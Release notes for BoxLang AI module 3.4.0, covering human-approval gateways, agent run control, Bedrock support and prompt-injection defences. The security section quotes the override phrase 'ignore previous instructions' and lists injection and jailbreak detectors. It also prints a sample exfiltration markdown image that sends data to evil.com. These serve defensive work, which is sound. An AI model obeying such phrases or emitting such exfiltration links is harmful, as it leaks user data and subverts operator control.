Ctrlk
SourceSupportBoxLang
For the complete documentation index, see llms.txt. This page is also available as Markdown.

3.4.0

BoxLang AI Module 3.4.0 — normalized reasoning, Gateway Sessions, agent run control, full AWS Bedrock parity, Gateway SPI, extracted HITL subsystem with durable approval grants, batched tool-call appr

Released: August 2026

BoxLang AI 3.4.0 is a security- and human-in-the-loop-focused release. It introduces the Gateway SPI (IGateway) for presenting human approvals through any platform — CLI, HTTP/webhook, or an externally-published platform module — a fully extracted HITL subsystem with pluggable approval policies and durable approve_always/approve_session grants, and batched tool-call approvals so a turn with multiple pending tool calls suspends once instead of one call at a time. It also ships three phases of prompt-injection and data-loss guardrails (heuristic input sanitization, untrusted-content fencing, offline output redaction, and optional LLM-as-judge classification), token-based memory summarization, and a handful of provider fixes and default-model bumps.

Beyond the security/HITL wave, this release also normalizes reasoning (message.reasoning/delta.reasoning) across every provider that supports it, adds aiGatewaySession() for wiring an agent to inbound gateway traffic, gives every agent cancelRun()/steerRun() for run control, and closes out AWS Bedrock provider parity (bearer-token auth, the full credential chain, Guardrails, tool-use, and streaming). The request timeout default is raised from 45s to 90s, and Groq's default model is repointed after an upstream deprecation.

✨ New Features

🔌 Gateway SPI — IGateway

A gateway is a bidirectional human-interaction adapter: it turns platform events (a CLI keystroke, an HTTP webhook, a chat-platform button click) into normalized agent input, and turns agent events — including a suspended HITL approval — back into a platform-native experience. Every gateway implements the same IGateway interface; unsupported capabilities fall back to a safe "not supported" default, so a gateway only needs to override what it actually does.

BIF
Description

aiGateway( name, options )

Resolve a gateway by name — core (mock, cli, http) or externally-registered

aiGatewayRegistry()

The singleton GatewayRegistry — external modules register a gateway instance here

// Core gateways resolve by name
cli  = aiGateway( "cli" )
http = aiGateway( "http", { secret: "shared-hmac-secret" } )

// External gateway modules register under their own name
aiGatewayRegistry().register( new MyPlatformGateway(), "my-platform" )
myGateway = aiGateway( "my-platform" )

// Attach any gateway to HITL middleware
aiAgent(
    middleware  : new HumanInTheLoopMiddleware( gateway: aiGateway( "http" ) ),
    checkpointer: aiMemory( "cache" )
)

Capabilities a gateway can declare: inboundMessages, outboundMessages, streaming, threads, attachments, messageEditing, interactiveActions, humanApproval, argumentEditing, authentication.

Shipping gateways:

Gateway
Notes

CliGateway

The reference implementation — blocking stdin/stdout approval prompt. Now offers approve_always/approve_session, not just approve/reject/quit.

HttpGateway

Generic network-reachable gateway: HMAC-SHA256 signed requests, timestamp tolerance + nonce dedup, TTL-bounded pending interactions, and atomic decision claims (a duplicate decision POST for an already-resolved interaction is rejected, not silently overwritten).

MockGateway

In-memory reference gateway for tests and examples.

Documentation: Middleware — Human-in-the-Loop

🧑‍⚖️ HITL Subsystem Extraction + Durable Approval Grants

Human-in-the-loop approval was extracted out of HumanInTheLoopMiddleware into a dedicated models/hitl/ package: pluggable IApprovalPolicy implementations decide whether a tool call needs approval, and a HumanInteractionCoordinator owns presenting the request through an attached gateway and resolving the decision. HumanInTheLoopMiddleware is now a thin adapter over the two.

Durable approve_always / approve_session grants are now backed by a pluggable IDecisionStore, so a human's "always allow this tool" decision survives past the current run — even across a restart — instead of being asked again every time.

BIF
Description

aiDecisionStore( store, config )

Create an IDecisionStore — cache, jdbc, or file. With no arguments, resolves the application-wide default from settings.hitl.decisionStore.

Every HumanInTheLoopMiddleware in an application shares this one store by design — an application never attaches more than one HITL middleware at a time.

Documentation: Middleware — Human-in-the-Loop

Migration note: mode: "cli" / mode: "web" still work exactly as before. If you're attaching a specific gateway anyway, prefer gateway: over mode: going forward — an unrecognized mode now falls back to a CLI gateway with a console warning instead of silently behaving like "cli".

📦 Batched Tool-Call Approvals — One Suspension, No LLM Replay

When a turn asks for multiple tool calls that need approval, they now suspend together as one checkpoint instead of one at a time — previously, only the first pending call suspended and the rest were silently skipped. Resuming finishes the whole batch directly against the saved assistant message; nothing already executed (or already blocked) runs twice, and there is no replay of the LLM call.

Consistent across OpenAI, Claude, Bedrock, and Cohere; streaming batching covers OpenAI and Claude — the only two providers with streaming tool-call support today.

Under the hood, AiMiddlewareResult.defer() lets a middleware mark a pending call as "needs a decision" without stopping the provider from scanning the rest of the batch, and the new IAiMiddleware.afterToolBatch( context ) hook fires once per turn, after every tool call in it has been decided, to build the combined suspension (or fall back to per-provider default handling if no middleware participates).

🧠 Normalized Reasoning

Reasoning-capable models could always be enabled — params passes straight through to the provider body, so params: { thinking: { type: "enabled", budget_tokens: 10000 } } (Claude) or params: { reasoning_effort: "high" } (OpenAI) already reached the API. But the reasoning that came back was parsed out and silently dropped. Reasoning now surfaces on the same OpenAI envelope every provider already normalizes onto — choices[].delta.reasoning when streaming, choices[].message.reasoning synchronously — so you read it identically regardless of which model is behind it.

Every chat provider is covered — either inherited from BaseService's normalization or via explicit per-wire mapping (Anthropic thinking_delta, DeepSeek reasoning_content, Ollama message.thinking, Claude-on-Bedrock delta.thinking). Reasoning is kept strictly separate from content and is never persisted to memory — the model's private thinking is never replayed back to it as if it had said it. MockService can script reasoning for offline tests.

Documentation: Reasoning

🔌 Gateway Sessions — aiGatewaySession()

Wires one AiAgent to one-or-more IGateway instances for inbound message handling: a message arrives, GatewaySession dispatches it as an agent turn and relays the output back through whichever gateway it arrived on.

Policy
A second message on a busy thread…

reject

…is refused immediately.

queue (default)

…is buffered and dispatched once the current turn finishes.

steer

…is spliced into the live turn via steerRun() — not a new turn.

interrupt

…cancelRun()s the current turn (at its next checkpoint), then dispatches the new message next.

maxQueueDepth (default 50) bounds buffered messages per thread. Lifecycle/observability: session.isRunning(), session.getActiveThreadIds(), session.getQueueDepth( threadId ). Fires onGatewaySessionCreate when constructed.

Documentation: Gateways

🎮 Agent Run Control — cancelRun() / steerRun()

Cancel or steer an agent run already in flight, addressed purely by threadId — no token to construct, every agent supports this out of the box.

Both take effect at the run's next beforeLLMCall/beforeToolCall checkpoint and return false as a safe no-op when the thread has no run currently in flight. Fires onAIAgentRunCancel/onAIAgentRunSteer — but only when a call actually affects a run, not on the no-op case. This is what powers aiGatewaySession()'s steer/interrupt policies above, and is available directly to any caller.

☁️ AWS Bedrock Provider Parity

Bedrock now has the same authentication depth as every other cloud provider:

  • Bearer-token auth — explicit bearerToken or AWS_BEARER_TOKEN_BEDROCK, opt-in only and never inferred from a plain apiKey.

  • Full AWS credential chain — explicit → environment → ECS/EKS container (including EKS Pod Identity's rotating token file) → EC2 IMDSv2, with expiry-aware caching shared across instances and a negative cache so a host with no metadata service doesn't re-pay the timeout on every call.

  • Guardrails and x-amzn-bedrock-* header passthrough.

  • baseURL endpoint override, honoured by both the request URL and the SigV4 Host header.

  • Cohere / Titan-v2 embedding request shapes.

  • Tool-use is confirmed working for Claude-on-Bedrock — batched HITL approvals are consistent across OpenAI, Claude, Bedrock, and Cohere.

Known limitation: Cohere-on-Bedrock is response-side only in this release — transformResponseFromCohere() correctly parses Command R/legacy-Command replies, but the request transform still sends Cohere a Claude-shaped body, so Cohere-on-Bedrock is not yet functional end to end. A dedicated request transform is tracked separately.

Documentation: Provider Setup — AWS Bedrock

🛡️ Security & Guardrails

Three phases of prompt-injection and data-loss defense, all opt-in via a single settings switch (or attach the middleware directly, per-agent):

Setting security.enabled: true auto-attaches the configured middleware to every chat request (aiChat(), aiModel(), aiAgent()). Any individual request can opt out with { secure: false }. Unicode hygiene (NFKC normalization + zero-width stripping) applies to inbound user content even when security.enabled is false — it neutralizes invisible-character injection and carries virtually no risk.

Phase 1 — InputSanitizerMiddleware

Heuristic scanning of inbound user (and, optionally, tool/MCP result) content for prompt-injection patterns.

Detector
Catches

instructionOverride

"ignore previous instructions" style attacks

roleImpersonation

Fake system/assistant turns injected into user content

jailbreak

Known jailbreak framing patterns

invisibleUnicode

Zero-width / bidi-override characters hiding text

base64Blob

Suspiciously large base64 payloads

exfilUrl

URLs shaped to exfiltrate data via query params

action controls what happens on a finding: block (throw BXAI.SecurityViolation before any tokens are spent), strip (remove the offending fragment and continue), flag (continue, stamp chatRequest.providerOptions.securityFindings, and log), or log (log only).

Phase 2 — Untrusted-Content Fencing

RAG documents, tool/MCP output, and web content are wrapped in tamper-resistant boundary markers so the model treats them as data, never instructions — the core defense against indirect prompt injection.

BIF / Method
Description

aiFence( content, label, withPreamble )

Fence untrusted content in boundary markers

AiMessage.addUntrusted( content, label )

Add a fenced untrusted block to a message

${context} template bindings are auto-fenced by default (fencing.fenceContext), and ${...} inside binding values is escaped by default (escapeBindings) to prevent template-confusion injection — both apply even with security.enabled: false.

Phase 3 — OutputGuardMiddleware

Guards what comes out of the model: redacts secrets/PII (email, SSN, credit card with Luhn validation, API keys, JWTs) from the response, and strips data-exfiltration markdown (![x](https://evil.com?data=...)). Fully offline — no second model, no network call.

action: redact (default, mask + strip then let the clean response through), flag (leave content intact, stamp findings, log), or block (throw on any finding). Also scans the model's reasoning, not just its final answer — a secret named while thinking and never repeated in the answer is scrubbed too, and action: "block" fires for it.

Streaming caveat: streaming guards are detection-only, not prevention. afterLLMCall fires once the stream has ended, so block throws only after the caller's callback has already received every chunk, and redact rewrites an aggregate the provider has already finished emitting. Withholding content mid-stream would need a per-chunk hook, which isn't implemented yet.

LLMGuardMiddleware — LLM-as-Judge Classification

A second (typically cheaper/local) model classifies requests — and optionally responses — as SAFE, INJECTION, or HARMFUL, catching novel or obfuscated attacks the heuristic sanitizer's patterns would miss. Content shown to the judge is fenced so an injection hidden inside it can't flip the verdict.

New mock Provider

A deterministic, offline AI provider for testing — no network calls, no API key. Useful for exercising middleware pipelines (including HITL and guardrails) in CI without live credentials.

🧠 Memory

Token-Based Summarization Trigger

SummaryMemory can now trigger compression by estimated token count instead of message count.

maxTokens and maxMessages are mutually exclusive triggers — set one, not both. summaryThreshold is the keep-window: how many recent messages stay verbatim after compression.

summarize() on Every Memory Type

summarize() was previously only available on SummaryMemory. It's now on the IAiMemory interface and implemented by every built-in memory type (CacheMemory, FileMemory, JdbcMemory, HybridMemory), so any conversation history can be compressed on demand regardless of backend.

New event: onAIMemorySummarize.

🐛 Fixed

  • HITL batch suspend/cancel/reject were silently swallowed by a closure-scoping bug in OpenAI's tool-call loop — batches now stop/skip correctly and checkpoint as expected.

  • beforeToolCall/afterToolCall/wrapToolCall never fired for Claude, Bedrock, or Cohere — tools were invoked directly, bypassing middleware entirely. All three now go through the same pipeline as OpenAI.

  • Claude/Bedrock/Cohere tool-call context lacked normalized toolName/toolArgs, so argument-based guardrails and HITL's edit-resume path silently no-op'd for those providers.

  • approve_always/approve_session grants never persisted for async (non-CLI) gateways — missing identity on GatewayContext and an incomplete resume-path decision handler.

  • MCP tools crashed the Claude and Bedrock providers — BaseTool now provides a default getArgumentsSchema(). (#231)

  • Bedrock model-family detection was inconsistent across request/response/stream transforms — AI21, Cohere, legacy Mistral, and bare inference-profile ARNs could get mismatched parsing. (#226)

  • Bedrock's Claude request transform could throw on tool objects holding non-serializable data — now shallow-copies params instead of deep-duplicating. (#221)

  • MockService streamed a non-standard chunk shape, and AiAgent.stream()'s middleware-stop sentinel check used unsafe dot-access — both now match production streaming behavior.

  • Enabling Claude extended thinking broke aiChat() outright. The synchronous path read the answer as result.content.first().text, but with params: { thinking: {...} } Anthropic returns one or more thinking blocks before the text block — so that read was null and every sync return format silently produced an empty answer. Now selects the first text block. Bedrock had a matching hole on its streaming path, dropping any chunk with no content or finish reason — exactly what every chunk looks like while a model is still reasoning.

  • summarize() ignored userId/conversationId scoping, unlike every other memory method — on a shared/stateless memory instance serving multiple users, it always compressed whichever scope happened to resolve to the instance default. summarize( config, userId, conversationId ) now accepts the same optional overrides as the rest of IAiMemory, correctly scoping the read, the compression, and the persisted result. SessionMemory gained a summarize() override it was previously missing entirely.

  • returnFormat: "json"/asJson() returned {} when the reply had a ```json marker inside a string value or in prose, or braces before the real payload. Fence extraction is now parse-validated and the brace/bracket scan retries at each candidate. (#222)

  • Complex struct returnFormat generated getter/setter names instead of property names — BoxLang class instances satisfy isStruct(), so SchemaBuilder now checks isObject() first throughout. (#182)

  • AWS profile-file credentials never worked — AwsCredentialProvider.parseCredentialsFile() called chr(), which is not a BoxLang function, so reading ~/.aws/credentials always threw. Now uses char(). (#259)

  • EKS Pod Identity could not authenticate — the container credential request sent no Authorization header at all. The token is now resolved per the AWS container credential provider spec, re-reading the rotating token file on every call. (#259)

🔐 Security Fixes

  • Gemini's API key was leaking into logs via the request URL (?key=...). The key is now request-local, and PromptSecurity::redactURLSecrets() masks key/token/secret query params in any logged endpoint as defense in depth.

🧠 Updated

  • Default AI request timeout (settings.timeout) bumped from 45 to 90 seconds — a timed-out call surfaced as a confusing JsonDeserializationError rather than a clear timeout error, and 45s was too tight for slower providers/models under load. Still overridable via options.timeout per-request or settings.providers.<name>.options.timeout per-provider.

  • Groq's default chat model bumped from llama-3.1-8b-instant (deprecated and removed by Groq on 2026-08-16) to its recommended replacement, openai/gpt-oss-20b.

  • OpenAI's default chat model bumped from gpt-5-nano to gpt-5.6-luna.

  • Claude's default chat model bumped from claude-sonnet-4-5 to claude-sonnet-5.

  • SummaryMemory: maxMessages now triggers compression and summaryThreshold is the keep-window (previously threshold did both, and maxMessages was unused).

  • AiMessage escapes ${...} inside binding values by default to prevent template-confusion injection.

  • beforeLLMCall/afterLLMCall now fire on the streaming path for every provider, not just the OpenAI family.

  • Inbound user content is now NFKC-normalized and stripped of zero-width characters by default, even without settings.security enabled.

📦 Module Configuration Updates

New Settings Blocks

security (input sanitizer + fencing) and hitl.decisionStore (see above), plus a new gateways block for per-gateway configuration:

New Interception Points

58 → 70 total interception points. New events in 3.4.0:

Event
When Fired

onAIMemorySummarize

A memory instance's summarize() is called

onAiDecisionStoreCreate

aiDecisionStore() creates a store instance

onGatewayCreate

aiGateway() resolves/creates a gateway instance

onGatewaySessionCreate

aiGatewaySession() constructs a session

onGatewayRegistryRegister

A gateway is registered into aiGatewayRegistry()

onGatewayRegistryUnregister

A gateway is unregistered from aiGatewayRegistry()

onGatewayConnect

A gateway's start() makes a real not-running → running transition

onGatewayDisconnect

A gateway's stop() makes a real running → not-running transition

onGatewayMessageReceived

A gateway's parseInbound() parses an inbound message

onGatewayMessageSent

A gateway's deliver() sends an outbound message

onAIAgentRunCancel

agent.cancelRun() actually affects a run in flight

onAIAgentRunSteer

agent.steerRun() actually affects a run in flight

🔄 Migration Guide

IAiMemory.summarize()

The signature widens from summarize( config ) to summarize( config = {}, userId = "", conversationId = "" ). Existing single-argument call sites are unaffected — the new parameters are optional and default to the instance-default scope, same behavior as before.

settings.timeout

The default request timeout rises from 45 to 90 seconds. If you were relying on a fast timeout to fail over quickly, set settings.timeout (or per-request options.timeout) explicitly rather than depending on the default.

HITL Middleware

HumanInTheLoopMiddleware( toolsRequiringApproval: [...] ) with no mode/gateway continues to work exactly as before (CLI prompt). Existing mode: "cli" / mode: "web" usage is unchanged. New code should prefer gateway: when attaching a specific gateway (CLI, HTTP, or a third-party one) instead of mode:.

agent.resume() / resumeStream()

Both still accept a single decision string/struct exactly as before — that call shape is unchanged. They additionally accept an array of per-call decision structs when a checkpoint has multiple pending tool calls; a single decision still applies uniformly to every pending call in a batch, so existing single-decision call sites keep working unmodified even against a multi-call batch.

Security Middleware

Everything under settings.security defaults to enabled: false — no behavior change for existing applications unless you opt in. The unicode-hygiene default-on behavior (NFKC normalization + zero-width stripping) is the one exception, and is intentionally low-risk enough to apply unconditionally.

SummaryMemory

If you were relying on summaryThreshold also acting as the compression trigger, switch to maxMessages for that role — summaryThreshold is now purely the post-compression keep-window.

PreviousRelease History
Next3.3.2

Last updated